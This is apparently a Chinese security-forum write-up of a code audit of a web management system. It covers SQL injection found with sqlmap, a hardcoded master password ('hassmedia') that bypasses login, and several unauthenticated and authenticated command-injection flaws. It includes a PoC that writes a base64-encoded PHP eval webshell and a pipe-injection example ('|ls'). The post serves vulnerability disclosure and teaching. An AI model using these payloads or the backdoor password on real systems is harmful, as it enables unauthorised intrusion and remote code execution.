一次从前台sql到rec代码审计的过程
看到登录页面,先试试弱口令,目录扫描试试未授权等
看到其中有个password.inc,看到password就直接点进去
可惜只有admin
尝试admin admin
可惜,看来只是个账户名而已了,其他的文件也看了看,不能直接进后台,也就一点目录遍历而已
抓包看看
正常发包
这是name加了单引号发的包
可以发现,两次发包的回显并不一致,这里盲猜就觉得有sql,于是直接跑sqlmap(脚本小子可不会手注)
成功,但是跑不出数据库信息,想想其他办法,跑tables,可以跑出数据
经过长时间的搜索,终于搞到了这套源码(公开)
大佬们都是通读代码,不用工具凭感觉挖,我这种脚本小子还是用工具先跑一遍吧
先去找登录页面的代码审一下
发现只有一行,看的眼睛要瞎了,稍微排个版
然后开始审计,23行,根据Name传参到webname,然后转到23行代入数据库查询,导致sql注入,不过除了这个注入洞,还意外发现了万能密码,看下图
然后22,23行是从数据库中查询,是否有匹配webname(post传过来的参数Name)的密码,在29行进行逻辑判断
如果数据库查询的密码和post传参的密码匹配,或者密码等于hassmedia,就可以直接进到home.php界面,那么我们直接令密码等于hassmedia,就可以无需知道密码进入后台了
我们知道,这种管理界面一般都会有ping拼接rce的,找一下
然后看看源码,文件在manager/ipping.php
先效验一步登没登陆,没登录就直接退出
可惜没有前台rce了,那就看下后台rce的代码吧
整段代码的逻辑语句
1 post接收ipaddr参数,赋值到datip参数
2 shell_exec datip,并将这个语句赋值到output参数
3 echo直接输出output
可以看到,全程无任何过滤,所以可以直接rce
那么会不会有前台rce呢
还真有,看下图
可以发现这段代码没有任何验证登录,逻辑如下
1 get接收参数file赋值到file
2 然后转到del_file
3 然后test直接调用del_file
4 exec直接输出exec
也是全程无过滤,构造poc:
file=1.txt
echo PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOw== | ba
se64 -d > xxx.php
除此之外还发现了很多的rce,为了方便浏览,先说前台rce,然后再说后台rce
前台rce 1:
逻辑线:
1 没有检验登录
2 post接收addflag bodaddr bondmask bondgw
3 判断addflag是否等于1,如果是就执行下列语句
4 拼接其他参数到$cmd中
5 exec echo
6 rce
1 无效验登录
2 赋值ip_dev flag sipdev
3 判断flag是否等于1,是的话执行下列语句
4 拼接参数
5 exec,echo
6 rce
然后审着审着seay出问题了..所以下面就用phpstorm的界面了
后台rce 1
逻辑线
1 前面判断了是否登录
2 判断actiontype是否等于RestartChannel
3 接收传参
4 拼接cmdurl
5 exec输出cmdurl
6 rce
后台rce2
第一行先判断了登录
往下翻,看到这段代码
逻辑线
1 判断用户是否登录
2 赋值ip_addr ip_dev
3 判断addflag是否为1
4 判断ipaddr和ip mask是否为空
5 拼接参数到cmd
6 exec echo
7 rce
1 判断是否登录
2 判断actiontype是否等于reboot
3 获取一个dev参数赋值devname
4 如果devname存在ppp执行下列语句,不过也可以直接通过else的system执行
5 为了方便就直接跳到else语句,给devName直接管道符拼接就行了,例如|ls
6 system执行
7 rce
除了这些洞,还有很多,不过没啥时间了剩下的就暂时不写了,后面如果有时间的话再补点,技术含量不高,路由管理之类的一般都会有rce,算是一个小思路入门文吧,文章内容如有任何错误,打码不全可以定位目标或者对不上号的,可以加我微信说明,感谢各位大佬们的指点,微信号 zacaq999
文章所有洞均已上交
- 本文作者: ZAC安全
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/903
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!